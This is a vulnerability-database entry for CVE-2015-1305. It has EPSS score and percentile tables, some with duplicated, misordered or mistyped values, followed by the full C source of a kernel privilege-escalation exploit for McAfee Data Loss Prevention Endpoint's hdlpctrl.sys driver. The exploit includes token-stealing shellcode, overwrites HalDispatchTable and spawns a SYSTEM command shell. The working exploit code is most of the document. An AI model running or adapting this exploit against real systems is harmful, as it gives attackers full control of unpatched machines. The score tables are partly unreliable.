CVE-2015-1305 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.12%	–	–
2022-03-20	–	–	2.12%	–	–
2022-04-03	–	–	2.12%	–	–
2022-06-19	–	–	2.12%	–	–
2022-11-13	–	–	2.12%	–	–
2022-11-20	–	–	2.12%	–	–
2022-12-25	–	–	2.12%	–	–
2023-01-01	–	–	2.12%	–	–
2023-02-19	–	–	2.12%	–	–
2023-03-12	–	–	–	0.06%	–
2024-02-11	–	–	–	0.06%	–
2024-02-25	–	–	–	0.06%	–
2024-04-14	–	–	–	0.06%	–
2024-06-02	–	–	–	0.06%	–
2024-07-21	–	–	–	0.06%	–
2024-08-04	–	–	–	0.06%	–
2024-08-11	–	–	–	0.06%	–
2024-11-24	–	–	–	0.06%	–
2025-02-02	–	–	–	0.06%	–
2025-01-19	–	–	–	0.06%	–
2025-02-02	–	–	–	0.06%	–
2025-03-18	–	–	–	–	0.57%
2025-03-30	–	–	–	–	0.57%
2025-04-15	–	–	–	–	0.57%
2025-04-15	–	–	–	–	0.57,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	57%
2022-03-20	58%
2022-04-03	78%
2022-06-19	79%
2022-11-13	8%
2022-11-20	79%
2022-12-25	8%
2023-01-01	79%
2023-02-19	8%
2023-03-12	24%
2024-02-11	23%
2024-02-25	24%
2024-04-14	25%
2024-06-02	26%
2024-07-21	27%
2024-08-04	26%
2024-08-11	27%
2024-11-24	28%
2025-02-02	29%
2025-01-19	28%
2025-02-02	29%
2025-03-18	67%
2025-03-30	66%
2025-04-15	67%
2025-04-15	67%

/* Exploit Title - McAfee Data Loss Prevention Endpoint Arbitrary Write Privilege Escalation Date - 29th January 2015 Discovered by - Parvez Anwar (@parvezghh) Vendor Homepage - http://www.mcafee.com Tested Version - 9.3.200.23 Driver Version - 9.3.200.23 - hdlpctrl.sys Tested on OS - 32bit Windows XP SP3 and Windows 2003 Server SP2 OSVDB - http://www.osvdb.org/show/osvdb/117345 CVE ID - CVE-2015-1305 Vendor fix url - https://kc.mcafee.com/corporate/index?page=content&id=SB10097 Fixed version - 9.3.400 Fixed driver ver - */ #include <stdio.h> #include <windows.h> #define BUFSIZE 4096 typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { PVOID Unknown1; PVOID Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 11, SystemHandleInformation = 16 } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)( DWORD ProfileSource, PULONG Interval); typedef void (*FUNCTPTR)(); // Windows XP SP3 #define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct #define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct #define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct #define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct // Windows Server 2003 #define W2K3_KPROCESS 0x38 // Offset to _KPROCESS from a _ETHREAD struct #define W2K3_TOKEN 0xd8 // Offset to TOKEN from the _EPROCESS struct #define W2K3_UPID 0x94 // Offset to UniqueProcessId FROM the _EPROCESS struct #define W2K3_APLINKS 0x98 // Offset to ActiveProcessLinks _EPROCESS struct BYTE token_steal_xp[] = { 0x52, // push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN 0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x5b, // pop ebx Restores ebx 0x5a, // pop edx Restores edx 0xc2,0x08 // ret 8 }; BYTE token_steal_w2k3[] = { 0x52, // push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,W2K3_KPROCESS, // mov eax, [eax+W2K3_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,W2K3_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W2K3_TOKEN] Retrieves TOKEN 0x8b,0x80,W2K3_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W2K3_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,W2K3_APLINKS,0x00,0x00,0x00, // sub eax, W2K3_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,W2K3_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,// cmp [eax+W2K3_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,W2K3_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W2K3_TOKEN] Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,W2K3_TOKEN,0x00,0x00,0x00, // mov [eax+W2K3_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x5b, // pop ebx Restores ebx 0x5a, // pop edx Restores edx 0xc2,0x08 // ret 8 Away from the kernel }; DWORD HalDispatchTableAddress() { _NtQuerySystemInformation NtQuerySystemInformation; PSYSTEM_MODULE_INFORMATION pModuleInfo; DWORD HalDispatchTable; CHAR kFullName[256]; PVOID kBase = NULL; LPSTR kName; HMODULE Kernel; FUNCTPTR Hal; ULONG len; NTSTATUS status; NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { printf("[-] Unable to resolve NtQuerySystemInformation\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); if (!status) { printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status); return -1; } pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len); if(pModuleInfo == NULL) { printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len); memset(kFullName, 0x00, sizeof(kFullName)); strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName); kBase = pModuleInfo->Module[0].Base; printf("[i] Kernel base name %s\n", kFullName); kName = strrchr(kFullName, '\\'); Kernel = LoadLibraryA(++kName); if(Kernel == NULL) { printf("[-] Failed to load kernel base\n\n"); return -1; } Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable"); if(Hal == NULL) { printf("[-] Failed to find HalDispatchTable\n\n"); return -1; } printf("[i] HalDispatchTable address 0x%08x\n", Hal); printf("[i] Kernel handle 0x%08x\n", Kernel); printf("[i] Kernel base address 0x%08x\n", kBase); HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase); printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable); if(!HalDispatchTable) { printf("[-] Failed to calculate HalDispatchTable\n\n"); return -1; } return HalDispatchTable; } int GetWindowsVersion() { int v = 0; DWORD version = 0, minVersion = 0, majVersion = 0; version = GetVersion(); minVersion = (DWORD)(HIBYTE(LOWORD(version))); majVersion = (DWORD)(LOBYTE(LOWORD(version))); if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP; if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7"; if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003; return v; } void spawnShell() { STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWNORMAL; if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError()); return; } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } int main(int argc, char *argv[]) { _NtQueryIntervalProfile NtQueryIntervalProfile; LPVOID input[1] = {0}; LPVOID addrtoshell; HANDLE hDevice; DWORD dwRetBytes = 0; DWORD HalDispatchTableTarget; ULONG time = 0; unsigned char devhandle[MAX_PATH]; printf("-------------------------------------------------------------------------------\n"); printf("McAfee Data Loss Prevention Endpoint (hdlpctrl.sys) Arbitrary Write EoP Exploit\n"); printf(" Tested on Windows XP SP3/Windows Server 2003 SP2 (32bit) \n"); printf("-------------------------------------------------------------------------------\n\n"); if (GetWindowsVersion() == 1) { printf("[i] Running Windows XP\n"); } if (GetWindowsVersion() == 3) { printf("[i] Running Windows Server 2003\n"); } if (GetWindowsVersion() == 0) { printf("[i] Exploit not supported on this OS\n\n"); return -1; } sprintf(devhandle, "\\\\.\\%s", "devbkctrl"); NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); if (!NtQueryIntervalProfile) { printf("[-] Unable to resolve NtQueryIntervalProfile\n\n"); return -1; } addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(addrtoshell == NULL) { printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError()); return -1; } printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell); memset(addrtoshell, 0x90, BUFSIZE); if (GetWindowsVersion() == 1) { memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp)); } if (GetWindowsVersion() == 3) { memcpy(addrtoshell, token_steal_w2k3, sizeof(token_steal_w2k3)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w2k3)); } hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError()); return -1; } else { printf("[+] Open %s device successful\n", devhandle); } HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD); printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget); input[0] = addrtoshell; // input buffer contents gets written to our output buffer address printf("[+] Input buffer contents %08x\n", input[0]); printf("[~] Press any key to send Exploit . . .\n"); getch(); DeviceIoControl(hDevice, 0x00224014, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL); printf("[+] Buffer sent\n"); CloseHandle(hDevice); printf("[+] Spawning SYSTEM Shell\n"); NtQueryIntervalProfile(2, &time); spawnShell(); return 0; }